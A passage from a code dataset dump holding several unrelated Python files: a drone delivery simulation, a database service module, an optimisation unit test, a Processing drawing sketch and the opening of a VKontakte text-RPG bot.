\"\"\"docstring for Drone\"\"\"\n\n def __init__(self, id_drone, pos, products_weights, max_weight):\n self.id = id_drone\n self.max = max_weight\n self.current_weight = 0\n self.pos = pos\n self.cost = 0 \n self.products_weights = products_weights\n self.stock = np.zeros(len(products_weights))\n self.commands = []\n\n def load(self, product_id, qty, loader=None):\n self.stock[product_id] += qty\n self.current_weight += self.products_weights[product_id] * qty\n cost = 1\n command = \"L\"\n if loader:\n cost += self.move(loader)\n loader.unload(product_id, qty)\n self.commands.append(\n Command(self.id, command, loader.id, product_id, qty))\n self.cost += cost\n\n def unload(self, product_id, qty, unloader=None):\n self.stock[product_id] -= qty\n self.current_weight -= self.products_weights[product_id] * qty\n cost = 1\n command = \"U\"\n if isinstance(unloader, Order.Order):\n command = \"D\"\n if unloader:\n cost += self.move(unloader)\n self.move(unloader)\n unloader.load(product_id, qty)\n self.commands.append(\n Command(self.id, command, unloader.id, product_id, qty))\n self.cost += cost\n\n def move(self, place):\n pos0 = self.pos\n # move to place\n self.pos = place.pos\n cost = np.sqrt(\n [(pos0[0] - self.pos[0])**2 + (pos0[1] - self.pos[1])**2])\n return math.ceil(cost)\n\n def gencommands(self, output):\n txt = \"\"\n for comand in self.commands:\n output.write(comand.gen_line())\n\n\nclass Command(object):\n \"\"\"docstring for Command\"\"\"\n\n def __init__(self, id_drone, type, id, product, qty):\n super(Command, self).__init__()\n self.id_drone = id_drone\n self.type = type\n self.id = id\n self.product = product\n self.qty = int(qty)\n\n def gen_line(self):\n return \"{0} {1} {2} {3} {4}\\n\".format(self.id_drone, self.type, self.id, self.product, self.qty)\n\nif __name__ == '__main__':\n #drone = Drone([0, 0], [1, 56, 6], 34)\n\n class ss(object):\n \"\"\"docstring for ss\"\"\"\n\n def __init__(self, arg):\n super(ss, self).__init__()\n self.pos = arg\n cmd = Command(1, \"L\", 2, 3, 4)\n print(cmd.gen_line())\n #print(drone.move(ss([1, 2])))\n","sub_path":"Drone.py","file_name":"Drone.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"64122715","text":"import logging\n\nfrom models import (\n CD,\n CI,\n Application,\n BusinessUnit,\n LZEnvironment,\n LZLanVpc,\n LZLanVpcEnvironment,\n SolutionEnvironment,\n SourceControl,\n Team,\n)\nfrom tb_houston_service import application_extension, security, team_extension\nfrom tb_houston_service.tools import ModelTools\n\nlogger = logging.getLogger(\"tb_houston_service.solution_extension\")\n\n\ndef expand_solution(sol, dbsession):\n logger.debug(\"dbs: %s\", dbsession)\n environments = (\n dbsession.query(LZEnvironment)\n .filter(\n SolutionEnvironment.solutionId == sol.id,\n SolutionEnvironment.environmentId == LZEnvironment.id,\n SolutionEnvironment.isActive,\n )\n .all()\n )\n sol.environments = environments\n\n a_team = dbsession.query(Team).filter(Team.id == sol.teamId).one_or_none()\n sol.team = team_extension.expand_team(a_team)\n\n sol.applications = (\n dbsession.query(Application)\n .filter(Application.solutionId == sol.id, Application.isActive)\n .all()\n )\n\n for ap in sol.applications:\n ap = application_extension.expand_application(ap, dbsession=dbsession)\n\n if sol.businessUnitId:\n sol.businessUnit = (\n dbsession.query(BusinessUnit)\n .filter(BusinessUnit.id == sol.businessUnitId, BusinessUnit.isActive)\n .one_or_none()\n )\n\n if sol.ciId:\n sol.ci = dbsession.query(CI).filter(CI.id == sol.ciId).one_or_none()\n\n if sol.cdId:\n sol.cd = dbsession.query(CD).filter(CD.id == sol.cdId).one_or_none()\n\n if sol.sourceControlId:\n sol.sourceControl = (\n dbsession.query(SourceControl)\n .filter(SourceControl.id == sol.sourceControlId)\n .one_or_none()\n )\n\n return sol\n\n\ndef expand_solution_for_dac(sol, dbsession):\n environments = (\n dbsession.query(LZEnvironment)\n .filter(\n SolutionEnvironment.solutionId == sol.id,\n SolutionEnvironment.environmentId == LZEnvironment.id,\n )\n .all()\n )\n logger.debug(\"expand_solution_for_dac::environments: %s\", environments)\n # 20200730 - Expand environments + lzvpc name\n sol.environments = environments\n for se in sol.environments:\n lzlanvpc = (\n dbsession.query(LZLanVpc)\n .filter(\n LZLanVpcEnvironment.environmentId == se.id,\n LZLanVpcEnvironment.lzlanvpcId == LZLanVpc.id,\n LZLanVpcEnvironment.isActive,\n LZLanVpc.isActive,\n )\n .one_or_none()\n )\n if lzlanvpc:\n se.sharedVPCProjectId = lzlanvpc.sharedVPCProjectId\n\n a_team = dbsession.query(Team).filter(Team.id == sol.teamId).one_or_none()\n sol.team = team_extension.expand_team_with_users(a_team)\n\n if sol.businessUnitId:\n businessUnit = (\n dbsession.query(BusinessUnit)\n .filter(BusinessUnit.id == sol.businessUnitId, BusinessUnit.isActive)\n .one_or_none()\n )\n if businessUnit:\n sol.businessUnit = businessUnit.name\n else:\n sol.businessUnit = \"\"\n\n if sol.ciId:\n ci = dbsession.query(CI).filter(CI.id == sol.ciId).one_or_none()\n if ci:\n sol.ci = ci.value\n\n if sol.cdId:\n cd = dbsession.query(CD).filter(CD.id == sol.cdId).one_or_none()\n if cd:\n sol.cd = cd.value\n\n if sol.sourceControlId:\n sourceControl = (\n dbsession.query(SourceControl)\n .filter(SourceControl.id == sol.sourceControlId)\n .one_or_none()\n )\n if sourceControl:\n sol.sourceControl = sourceControl.value\n\n # set createdBy field\n logged_in_user = security.get_valid_user_from_token(dbsession=dbsession)\n logger.debug(\"logged_in_user: %s\", logged_in_user)\n if logged_in_user:\n sol.createdBy = f\"{logged_in_user.firstName} {logged_in_user.lastName}\"\n else:\n sol.createdBy = None\n return sol\n\n\ndef create_solution_environments(solutionId, list_of_env_ids, dbsession):\n \"\"\"\n Args:\n solutionId ([int]): [The Solution id]\n list_of_env_ids ([list]): [A list of LZEnvironment ids]\n\n 1. Logically delete all active solution environments for this solution\n 2. Reactivate the solution env relationship that are in this list: list_of_env_ids\n 3. Create the solution env that are not in this list.\n\n \"\"\"\n # Inactivates the active solution environments for this Solution (solutionId)\n envs = (\n dbsession.query(SolutionEnvironment)\n .filter(\n SolutionEnvironment.solutionId == solutionId, SolutionEnvironment.isActive\n )\n .all()\n )\n for env in envs:\n env.isActive = False\n dbsession.flush()\n\n for env in list_of_env_ids:\n existing_sol_env = (\n dbsession.query(SolutionEnvironment)\n .filter(\n SolutionEnvironment.solutionId == solutionId,\n SolutionEnvironment.environmentId == env,\n )\n .one_or_none()\n )\n\n if existing_sol_env:\n existing_sol_env.isActive = True\n dbsession.merge(existing_sol_env)\n else:\n new_env_solution = SolutionEnvironment(\n solutionId=solutionId,\n environmentId=env,\n lastUpdated=ModelTools.get_utc_timestamp(),\n isActive=True,\n )\n dbsession.add(new_env_solution)\n logger.debug(\"Added solution environment: {new_env_solution} to transaction.\")\n","sub_path":"tb_houston_service/solution_extension.py","file_name":"solution_extension.py","file_ext":"py","file_size_in_byte":5627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"624733317","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nimport unittest\nfrom collections import namedtuple\n\nimport numpy as np\n\nimport roboptim.core\n\n\nProblemParams = namedtuple('ProblemParams', ['N', 'dt', 'a0', 'v0', 'p0', 'x_target'])\n\"\"\"Problem parameters\"\"\"\n\n\ndef integrate(params, J):\n \"\"\"Integrate jerks to compute acceleration, velocity and position\"\"\"\n A = np.zeros(params.N)\n V = np.zeros(params.N)\n P = np.zeros(params.N)\n\n dt = params.dt\n\n A[0] = J[0]*dt + params.a0\n V[0] = A[0]*dt + params.v0\n P[0] = V[0]*dt + params.p0\n\n for k in range(1, params.N):\n A[k] = J[k]*dt + A[k-1]\n V[k] = A[k]*dt + V[k-1]\n P[k] = V[k]*dt + P[k-1]\n\n return A, V, P\n\n\ndef compute_D_mat(params):\n \"\"\"Compute integration matrix\"\"\"\n return np.mat(np.tril(np.ones((params.N, params.N))*params.dt))\n\n\ndef compute_jacs(params):\n \"\"\"Compute Acceleration, velocity and position jacobian\"\"\"\n D = compute_D_mat(params)\n AJ = D\n VJ = D*AJ\n PJ = D*VJ\n return AJ, VJ, PJ\n\n\n# Objective\n\n\nclass JerkNorm(roboptim.core.PyDifferentiableFunction):\n \"\"\"Minimize jerk norm\"\"\"\n def __init__ (self, params):\n super().__init__(params.N, 1, '')\n self.params = params\n\n def impl_compute (self, result, x):\n result[0] = np.sum(x**2)\n\n def impl_gradient(self, result, x, functionId):\n raise NotImplementedError\n\n def impl_jacobian(self, result, x):\n result[0,:] = 2.*x\n\n\nclass PosTarget(roboptim.core.PyDifferentiableFunction):\n \"\"\"Target a final position\"\"\"\n def __init__ (self, params):\n super().__init__(params.N, 1, '')\n self.params = params\n\n def impl_compute (self, result, x):\n A, V, P = integrate(self.params, x)\n result[0] = (P[-1] - self.params.x_target)**2\n\n def impl_gradient(self, result, x, functionId):\n raise NotImplementedError\n\n def impl_jacobian(self, result, x):\n A, V, P = integrate(self.params, x)\n coef = 2.*(P[-1] - self.params.x_target)\n AJ, VJ, PJ = compute_jacs(self.params)\n result[0,:] = coef*PJ[-1,:]\n\n\nclass Cost(roboptim.core.PyDifferentiableFunction):\n \"\"\"Sum cost function\"\"\"\n def __init__ (self, params, functions):\n super().__init__(params.N, 1, 'cost')\n self.params = params\n self.functions = functions\n\n def impl_compute (self, result, x):\n r = 0.\n for w, f in self.functions:\n r += w*f(x)\n result[0] = r\n\n def impl_gradient(self, result, x, functionId):\n jac = self.jacobian(x)\n result[:] = jac[0,:]\n\n def impl_jacobian(self, result, x):\n J = np.mat(np.zeros((1, self.params.N)))\n for w, f in self.functions:\n J += w*f.jacobian(x)\n result[0,:] = np.array(J[0,:]).reshape(result.shape)\n\n\n# Constraints\n\n\nclass LastVelocity(roboptim.core.PyDifferentiableFunction):\n \"\"\"Last Velocity\"\"\"\n def __init__ (self, params):\n super().__init__(params.N, 1, 'LastVelocity')\n self.params = params\n\n def impl_compute (self, result, x):\n A, V, P = integrate(self.params, x)\n result[0] = V[-1]\n\n def impl_gradient(self, result, x, functionId):\n raise NotImplementedError\n\n def impl_jacobian(self, result, x):\n AJ, VJ, PJ = compute_jacs(self.params)\n result[0,:] = VJ[-1,:]\n\n\nclass Velocity(roboptim.core.PyDifferentiableFunction):\n \"\"\"Velocity\"\"\"\n def __init__ (self, params):\n super().__init__(params.N, params.N, 'Velocity')\n self.params = params\n\n def impl_compute (self, result, x):\n A, V, P = integrate(self.params, x)\n for i in range(self.params.N):\n result[i] = V[i]\n\n def impl_gradient(self, result, x, functionId):\n raise NotImplementedError\n\n def impl_jacobian(self, result, x):\n AJ, VJ, PJ = compute_jacs(self.params)\n result[:,:] = VJ\n\n\nclass Position(roboptim.core.PyDifferentiableFunction):\n \"\"\"Position\"\"\"\n def __init__ (self, params):\n super().__init__(params.N, params.N, 'Position')\n self.params = params\n\n def impl_compute (self, result, x):\n A, V, P = integrate(self.params, x)\n for i in range(self.params.N):\n result[i] = P[i]\n\n def impl_gradient(self, result, x, functionId):\n raise NotImplementedError\n\n def impl_jacobian(self, result, x):\n AJ, VJ, PJ = compute_jacs(self.params)\n result[:,:] = PJ\n\n\nclass TestMPCPy(unittest.TestCase):\n\n def test_mpc(self):\n \"\"\"\n Generate speed profile by integrating jerk\n This test provide big constraint jacobian matrix\n that make him fail if numpy matrix and roboptim internal matrix stride mismatch\n \"\"\"\n # N, dt, a0, v0, p0, x_target\n params = ProblemParams(30, 0.2, 0., 0., 0., 5.)\n max_jerk = 0.6\n\n # J vector used by finite difference test\n TJ = np.random.rand(params.N)\n\n\n # Cost\n jerk_norm = JerkNorm(params)\n jerk_norm_finite = roboptim.core.PyFiniteDifference(jerk_norm)\n\n pos_target = PosTarget(params)\n pos_target_finite = roboptim.core.PyFiniteDifference(pos_target)\n\n cost = Cost(params, [(0.1, jerk_norm), (1., pos_target)])\n cost_finite = roboptim.core.PyFiniteDifference(cost)\n\n\n # Constraints\n vel = Velocity(params)\n vel_finite = roboptim.core.PyFiniteDifference(vel)\n\n last_vel = LastVelocity(params)\n last_vel_finite = roboptim.core.PyFiniteDifference(last_vel)\n\n pos = Position(params)\n pos_finite = roboptim.core.PyFiniteDifference(pos)\n\n # Validate jacobian\n np.testing.assert_almost_equal(jerk_norm.jacobian(TJ), jerk_norm_finite.jacobian(TJ), 1e-4)\n np.testing.assert_almost_equal(pos_target.jacobian(TJ), pos_target_finite.jacobian(TJ), 1e-4)\n np.testing.assert_almost_equal(cost.jacobian(TJ), cost_finite.jacobian(TJ), 1e-4)\n np.testing.assert_almost_equal(vel.jacobian(TJ), vel_finite.jacobian(TJ), 1e-4)\n np.testing.assert_almost_equal(last_vel.jacobian(TJ), last_vel_finite.jacobian(TJ), 1e-4)\n np.testing.assert_almost_equal(pos.jacobian(TJ), pos_finite.jacobian(TJ), 1e-4)\n\n # Create problem\n problem = roboptim.core.PyProblem(cost)\n problem.startingPoint = np.array([0.]*params.N)\n problem.argumentBounds = np.array([(-max_jerk, max_jerk)]*params.N)\n problem.addConstraint(pos, np.array([(0., params.x_target)]*params.N))\n problem.addConstraint(last_vel, np.array([(3., 3.)]))\n problem.addConstraint(vel, np.array([(0., 10.)]*params.N))\n\n\n solver = roboptim.core.PySolver(\"ipopt\", problem)\n solver.setParameter(\"ipopt.output_file\", \"mpc.log\")\n solver.setParameter(\"ipopt.hessian_approximation\", \"limited-memory\")\n # We can check with the ipopt derivative checker that previously checked jacobian\n # are not well forwarded to ipopt\n solver.setParameter(\"ipopt.derivative_test\", 'first-order')\n\n solver.solve()\n r = solver.minimum()\n # Global optimum find by running the same problem with a QP\n global_optimum_x = [0.00012198215542041696, -0.00022627831886224328,\n 0.0005809031266161404, -0.0009378556180183611,\n 0.006228908615178199, 0.0542504463242659,\n 0.09848937090567145, 0.13886961986393206,\n 0.17538433727388664, 0.20803174459639154,\n 0.2368111839597394, 0.2617223572719595, 0.2827651107299787,\n 0.2999393577545775, 0.31324504656124946, 0.3226821446817561,\n 0.32825063073290883, 0.32995048967142826, 0.3277817099420794,\n 0.3217442818390919, 0.31183819670346413, 0.2980634466812129,\n 0.2804200247880924, 0.25890792507603655, 0.23352714276934458,\n 0.20427767431970079, 0.17115951739059507, 0.13417267081590148,\n 0.0933171345927348, 0.04859290999534517]\n np.testing.assert_almost_equal(np.array(r.x), np.array(global_optimum_x), 1e-4)\n\n self.assertTrue(isinstance(r, roboptim.core.PyResult))\n\nif __name__ == '__main__':\n unittest.main ()\n","sub_path":"tests/mpc.py","file_name":"mpc.py","file_ext":"py","file_size_in_byte":8325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"176914463","text":"def setup():\r\n size(1500,900)\r\n add_library('pdf')\r\n beginRecord(PDF, \"boobo2.pdf\")\r\n\r\ndef draw():\r\n background(255)\r\n\r\n #parameters to play with. distortion = randomness = max possible spacing of points.\r\n randomseed = 60\r\n distortion = 600\r\n pointnumber = 20\r\n \r\n #visual parameters. \r\n pointsize = 4\r\n strokeweight = 0.5\r\n fill_alpha = 255\r\n \r\n fill(0,fill_alpha)\r\n strokeWeight(strokeweight)\r\n randomSeed(randomseed)\r\n xpoints = [int(random(200, width-200))]\r\n ypoints = [int(random(200,height-200))]\r\n ellipse(xpoints[0], ypoints[0], pointsize, pointsize)\r\n \r\n #first for loop to generate all of the points.\r\n for i in range(pointnumber):\r\n x1 = xpoints[-1]\r\n y1 = ypoints[-1]\r\n x2 = x1 + int(random(-distortion,distortion))\r\n while x2 > width-200 or x2 < 200:\r\n x2 = x1 + int(random(-distortion,distortion))\r\n y2 = y1 + int(random(-distortion,distortion))\r\n while y2 > height-200 or y2 < 200:\r\n y2 = y1 + int(random(-distortion,distortion))\r\n xpoints.append(x2)\r\n ypoints.append(y2)\r\n ellipse(x2,y2,pointsize, pointsize)\r\n \r\n #second for loop to drawn lines between every point.\r\n dups = []\r\n for xpoint1, ypoint1 in zip(xpoints, ypoints):\r\n for xpoint2, ypoint2 in zip(xpoints[1:], ypoints[1:]):\r\n point_string = str(xpoint1)+str(ypoint1)+str(xpoint2)+str(ypoint2)\r\n point_string2 = str(xpoint2)+str(ypoint2)+str(xpoint1)+str(ypoint1)\r\n if point_string not in dups:\r\n line(xpoint1,ypoint1,xpoint2,ypoint2)\r\n dups.append(point_string)\r\n dups.append(point_string2)\r\n \r\n endRecord()\r\n noLoop()\r\n","sub_path":"fake_neural_net.pyde","file_name":"fake_neural_net.pyde","file_ext":"pyde","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"42302830","text":"import sqlite3, vk_api, time, datetime, threading, math, random, json, re, os, glob, requests\r\nfrom vk_api.keyboard import VkKeyboard\r\nfrom vk_api.bot_longpoll import VkBotLongPoll, VkBotEventType\r\nfrom vk_api.utils import get_random_id\r\n\r\nfrom location import *\r\n\r\ncommands, token, login, password = [], \"token\", \"login\", \"password\"\r\nadmin = ['!отправить', '!забанить', '!инфо']\r\nicons, assoc, Travel = {\r\n\t'coins': '💰',\r\n\t'energy': '⚡',\r\n\t'health': '❤',\r\n\t'xp': '⭐',\r\n\t'time': '🕑',\r\n\t'price': '🎁',\r\n\t'rating': '🔮'\r\n}, {\r\n\t'city': 0,\r\n\t'tavern': 1,\r\n\t'character': 2,\r\n\t'inventory': 4,\r\n\t'map': 8,\r\n\t'forest': 16,\r\n\t'desert': 32,\r\n\t'swamp': 64,\r\n\t'fight': 128,\r\n\t'craft': 256,\r\n\t'error': 512,\r\n\t'travel': 1024,\r\n\t'attack': 4096,\r\n\t'shield': 8192,\r\n\t'opendoor': 16384,\r\n\t'traid': 32768,\r\n\t'dialog': 65536,\r\n\t'nickname': 131072,\r\n\t'holiday': 262144,\r\n\t'cave': 524288,\r\n\t'player': 1048576\r\n}, {}\r\n\r\ndef find_story(story):\r\n\tval = random.randint(0, len(story) - 1)\r\n\ttext, price, unprice = story[val]['text'] + ' ', None, None\r\n\tif 'variable' in story[val]: \r\n\t\tobj = find_story(story[val]['variable'])\r\n\t\ttext += obj[0]\r\n\t\tprice, unprice = obj[1], obj[2]\r\n\telse:\r\n\t\tif 'price' in story[val]: price = story[val]['price']\r\n\t\telif 'unprice' in story[val]: unprice = story[val]['unprice']\r\n\treturn [text, price, unprice]\r\n\r\nclass Location:\r\n\t_list = {}\r\n\tdef __init__(self, *argv):\r\n\t\tfor arg in argv:\r\n\t\t\tkeys, commands, level = [], [], 1\r\n\t\t\tif 'keyboard' in arg: keys = arg['keyboard']\r\n\t\t\tif 'commands' in arg: commands = arg['commands']\r\n\t\t\tif 'level' in arg: level = arg['level']\r\n\t\t\tself.add(ID=arg['id'], keyboard=keys, level=level, commands=commands)\r\n\tdef add(self, ID='', keyboard=[], level=1, commands=[]):\r\n\t\tif ID == 'map':\r\n\t\t\tcount = 0\r\n\t\t\tfor row in sorted(Travel, key=lambda i: Travel[i]['time']):\r\n\t\t\t\tcommands.append(Travel[row]['name'].lower())\r\n\t\t\t\tif count < 4: count += 1\r\n\t\t\t\telse:\r\n\t\t\t\t\tcount = 0\r\n\t\t\t\t\tkeyboard.append({'line': 1})\r\n\t\t\t\tkeyboard.append({'text': Travel[row]['name'], 'color': 'positive'})\r\n\t\t\tkeyboard.append({'line': 1})\r\n\t\t\tkeyboard.append({'text': 'Назад', 'color': 'primary'})\r\n\t\t\tcommands.append('назад')\r\n\t\tself._list[ID] = {\r\n\t\t\t'keyboard': keyboard,\r\n\t\t\t'commands': commands,\r\n\t\t\t'level': level\r\n\t\t}\r\n\tdef keyboard(self, ID):\r\n\t\tkeys = VkKeyboard(one_time=bool(ID is not 'tavern'))\r\n\t\tfor key in self._list[ID]['keyboard']:\r\n\t\t\tif not 'line' in key: keys.add_button(key['text'], color=key['color'])\r\n\t\t\telse: keys.add_line()\r\n\t\treturn keys\r\n\r\nclass GUI:\r\n\tdef __init__(self): self.errors, self.print = [], []\r\n\tdef add_print(self, text='', name=''):\r\n\t\tself.print.append(\"[{0}]: \".format(datetime.datetime.now().strftime(\"%H:%M:%S\")) + text.replace(name, '\\033[92m{0}\\033[0m'.format(name)))\r\n\t\tself.render()\r\n\tdef add_error(self, text=''): \r\n\t\tself.errors.append(\"[{0}]: \\033[91m\".format(datetime.datetime.now().strftime(\"%H:%M:%S\")) + text + '\\033[0m')\r\n\t\tself.render()\r\n\tdef get(self, arr, count=5):\r\n\t\tfor i in range(max(len(arr) - count, 0), len(arr)): yield arr[i]\r\n\tdef render(self):\r\n\t\tos.system('clear')\r\n\t\tprint(\"\\033[7mmessages.log\\033[0m\")\r\n\t\tfor i in self.get(self.print, count=20): print(i)\r\n\t\tprint(\"\\033[7merrors\\033[0m\")\r\n\t\tfor i in self.get(self.errors, count=20): print(i)\r\n\r\nclass Check:\r\n\tdef __init__(self, vk=None, group_id=0): self.vk, self.group_id = vk, group_id\r\n\tdef member(self, user_id): return self.vk.method('groups.isMember', {'group_id': self.group_id, 'user_id': user_id })\r\n\tdef admin(self, user_id):\r\n\t\tfor user in self.vk.method('groups.getMembers', { 'group_id': self.group_id, 'filter': 'managers' })['items']:\r\n\t\t\tif str(user_id) == str(user['id']): return True\r\n\t\treturn False\r\n\r\nclass Query:\r\n\tdef __init__(self, db='db.splite'):\r\n\t\tself.db = sqlite3.connect(db, check_same_thread=False)\r\n\t\tself.cursor = self.db.cursor()\r\n\tdef many(self, query):\r\n\t\tself.cursor.execute(query)\r\n\t\treturn self.cursor.fetchall()\r\n\tdef one(self, query):\r\n\t\tself.cursor.execute(query)\r\n\t\treturn self.cursor.fetchone()\r\n\tdef save(self, query):\r\n\t\tself.cursor.executescript(query)\r\n\t\tself.db.commit()\r\n\tdef close(self):\r\n\t\tself.cursor.close()\r\n\t\tself.db.close()\r\n\r\nclass Translate:\r\n\tdef barmen(self, text):\r\n\t\tarr = text.split(':')\r\n\t\tif len(arr) > 1:\r\n\t\t\tarr[0], arr[1] = arr[0].split(), arr[1].split()\r\n\t\t\tif len(arr[0]) > 2:\r\n\t\t\t\tif arr[0][0].lower() == 'бармен' and arr[0][1].lower() == 'передай':\r\n\t\t\t\t\treturn {'username': ' '.join(arr[0][2:]), 'message': ' '.join(arr[1])}\r\n\t\treturn None\r\n\tdef text(self, text):\r\n\t\tarr = text.split(' ')\r\n\t\tarr[0] = arr[0].lower()\r\n\t\tif len(arr) > 1:\r\n\t\t\tif arr[0] in ['создать', 'использовать']: return {'type': arr[0], 'item': ' '.join(arr[1:]), }\r\n\t\t\telif arr[0] in ['!отправить', 'продать', '!забанить', '!конкурс']:\r\n\t\t\t\toffset, count = 1, 1\r\n\t\t\t\tif re.search(r'\\d+', arr[1]):\r\n\t\t\t\t\tif re.search(r'[\\-\\+\\.]', arr[1]): return None\r\n\t\t\t\t\tif len(arr[1]) < 5:\r\n\t\t\t\t\t\tcount = int(arr[1])\r\n\t\t\t\t\t\toffset = 2\r\n\t\t\t\t\telse: return None\r\n\t\t\t\telif re.search(r'[\\-\\+\\.]', arr[1]) and arr[0] != '!отправить': return None\r\n\t\t\t\tif ('игроку' in arr) or ('за' in arr):\r\n\t\t\t\t\tfor i in range(0, len(arr)):\r\n\t\t\t\t\t\tif arr[i] == 'за': \r\n\t\t\t\t\t\t\titem, price = ' '.join(arr[offset: i]), arr[i + 1]\r\n\t\t\t\t\t\t\tif arr[0] != '!забанить':\r\n\t\t\t\t\t\t\t\tif not re.match(r'[^\\.\\-\\+]\\d+', price) or len(price) >= 5: return None\r\n\t\t\t\t\t\t\t\telse: price = int(price)\r\n\t\t\t\t\t\t\telse: price = ' '.join(arr[(i + 1):])\r\n\t\t\t\t\t\tif arr[i] == 'игроку': item, price = ' '.join(arr[offset: i]), ' '.join(arr[(i + 1):])\r\n\t\t\t\telse:\r\n\t\t\t\t\titem, price = ' '.join(arr[offset:(len(arr) - 1)]), int(arr[len(arr) - 1])\r\n\t\t\t\t\tif not re.match(r'[^\\.\\-\\+]\\d+', str(price)) or len(str(price)) >= 5: return None\r\n\t\t\t\treturn {\r\n\t\t\t\t\t'type': arr[0],\r\n\t\t\t\t\t'item': item,\r\n\t\t\t\t\t'price': price,\r\n\t\t\t\t\t'count': count\r\n\t\t\t\t}\r\n\t\t\telif arr[0] in ['страница', 'купить']:\r\n\t\t\t\tif re.search(r'\\d+', arr[1]):\r\n\t\t\t\t\tif re.search(r'[\\-\\+\\.]', arr[1]): return None\r\n\t\t\t\t\tcount = int(arr[1])\r\n\t\t\t\treturn {'type': arr[0], 'count': count, 'item': ''}\r\n\t\treturn None\r\n\tdef rp(self, message=None, name=None):\r\n\t\ttext, arr = message, re.findall(r'\\*.+?\\*', message)\r\n\t\tif not len(arr): text = \"%s сказал: %s\"%(name, message)\r\n\t\telif re.match(r'[^*]', message): text = \"%s сказал: %s\"%(name, message)\r\n\t\tfor row in arr:\r\n\t\t\taction = re.findall(r'\\*(.+)?\\*', row)[0]\r\n\t\t\tif re.match(r'[^*]', action): text = re.sub(r'\\*%s\\*'%action, \"[%s %s]\"%(name, action), text)\r\n\t\treturn text\r\n\tdef number(self, value):\r\n\t\ttext = str(value)\r\n\t\tif len(text) >= 4 and len(text) <= 5:\r\n\t\t\ti = len(text) - 3\r\n\t\t\tif text[i] != '0': return \"%s,%sK\"%(''.join(text[0:i]), text[i])\r\n\t\t\telse: return \"%sK\"%(''.join(text[0:i]))\r\n\t\telif len(text) == 6: return \"%sKK\"%(''.join(text[0:3]))\r\n\t\telif len(text) > 6:\r\n\t\t\ti = len(text) - 6\r\n\t\t\tif text[i] != '0': return \"%s,%sM\"%(''.join(text[0:i]), text[i])\r\n\t\t\telse: return \"%sM\"%(''.join(text[0:i]))\r\n\t\telse: return text\r\n\r\nclass Core:\r\n\tdef __init__(self, token='', login='', password='',group_id=0):\r\n\t\tdef auth(): return input(\"key code auth: \"), True\r\n\t\tdef captcha(capt): return capt.try_again(input(\"captcha code {0}: \".format(capt.get_url()).strip()))\r\n\t\tadmin = vk_api.VkApi(login=login, password=password, auth_handler=auth, captcha_handler=captcha, api_version='5.92')\r\n\t\tadmin.auth()\r\n\t\tself.session, self.hour, self.vk, self.group_id, self.day = admin.get_api(), datetime.datetime.today().hour, vk_api.VkApi(token=token, api_version='5.92'), group_id, datetime.datetime.today().weekday()\r\n\t\tself.query, self.world, self.check, self.translate = Query(db='db.splite'), Query(db='main.db'), Check(vk=self.vk, group_id=group_id), Translate()\r\n\t\tfor row in self.world.many(\"SELECT `id` FROM `location`\"): Travel[row[0]] = self.travel(row[0])\r\n\t\tself.location, self.gui = Location({\r\n\t\t\t'id': 'character',\r\n\t\t\t'keyboard': [\r\n\t\t\t\t{'text': 'Инвентарь', 'color': 'positive'},\r\n\t\t\t\t{'text': 'Мастерская', 'color': 'positive'}, {'line': 1},\r\n\t\t\t\t{'text': 'Сменить имя', 'color': 'default'}, {'line': 1},\r\n\t\t\t\t{'text': 'Назад', 'color': 'primary'}\r\n\t\t\t],\r\n\t\t\t'commands': ['инвентарь', 'мастерская', 'сменить имя', 'назад']\r\n\t\t},{\r\n\t\t\t'id': 'city',\r\n\t\t\t'keyboard': [\r\n\t\t\t\t{'text': 'Персонаж', 'color': 'primary'},\r\n\t\t\t\t{'text': 'Карта', 'color': 'positive'}, {'line': 1},\r\n\t\t\t\t{'text': 'Таверна', 'color': 'positive'},\r\n\t\t\t\t{'text': 'Арена', 'color': 'negative'},\r\n\t\t\t\t{'text': 'Рынок', 'color': 'positive'}\r\n\t\t\t],\r\n\t\t\t'commands': ['персонаж', 'карта', 'таверна', 'арена', 'рынок']\r\n\t\t}, {'id': 'map'},\r\n\t\t{\r\n\t\t\t'id': 'inventory',\r\n\t\t\t'keyboard': [{'text': 'Назад', 'color': 'primary'}],\r\n\t\t\t'commands': ['использовать', 'продать', 'назад']\r\n\t\t},{\r\n\t\t\t'id': 'tavern',\r\n\t\t\t'keyboard': [\r\n\t\t\t\t{'text': 'Бармен', 'color': 'positive'},\r\n\t\t\t\t{'text': 'Назад', 'color': 'primary'}\r\n\t\t\t],\r\n\t\t\t'commands': ['бармен', 'назад'],\r\n\t\t\t'level': 5\r\n\t\t}, {\r\n\t\t\t'id': 'fight',\r\n\t\t\t'keyboard': [\r\n\t\t\t\t{'text': 'Атака', 'color': 'positive'},\r\n\t\t\t\t{'text': 'Защита', 'color': 'default'}\r\n\t\t\t],\r\n\t\t\t'commands': ['атака', 'защита']\r\n\t\t}, {\r\n\t\t\t'id': 'craft',\r\n\t\t\t'keyboard': [\r\n\t\t\t\t{'text': 'Страница 2', 'color': 'positive'}, {'line': 1},\r\n\t\t\t\t{'text': 'Назад', 'color': 'primary'}\r\n\t\t\t],\r\n\t\t\t'commands': ['создать', 'страница', 'назад']\r\n\t\t}, {\r\n\t\t\t'id': 'traid',\r\n\t\t\t'keyboard': [\r\n\t\t\t\t{'text': 'Персонаж', 'color': 'positive'}, {'line': 1},\r\n\t\t\t\t{'text': 'Назад', 'color': 'primary'}\r\n\t\t\t],\r\n\t\t\t'commands': ['персонаж', 'страница', 'купить', 'назад']\r\n\t\t}, {\r\n\t\t\t'id': 'dialog',\r\n\t\t\t'keyboard': [\r\n\t\t\t\t{'text': 'Да', 'color': 'positive'},\r\n\t\t\t\t{'text': 'Нет', 'color': 'negative'}\r\n\t\t\t],\r\n\t\t\t'commands': ['да', 'нет']\r\n\t\t}, {\r\n\t\t\t'id': 'nickname',\r\n\t\t\t'keyboard': [{'text': 'Назад', 'color': 'primary'}],\r\n\t\t\t'commands': ['назад']\r\n\t\t}, {\r\n\t\t\t'id': 'player',\r\n\t\t\t'keyboard': [{'text': 'Назад', 'color': 'primary'}],\r\n\t\t\t'commands': ['назад'],\r\n\t\t\t'level': 3\r\n\t\t}), 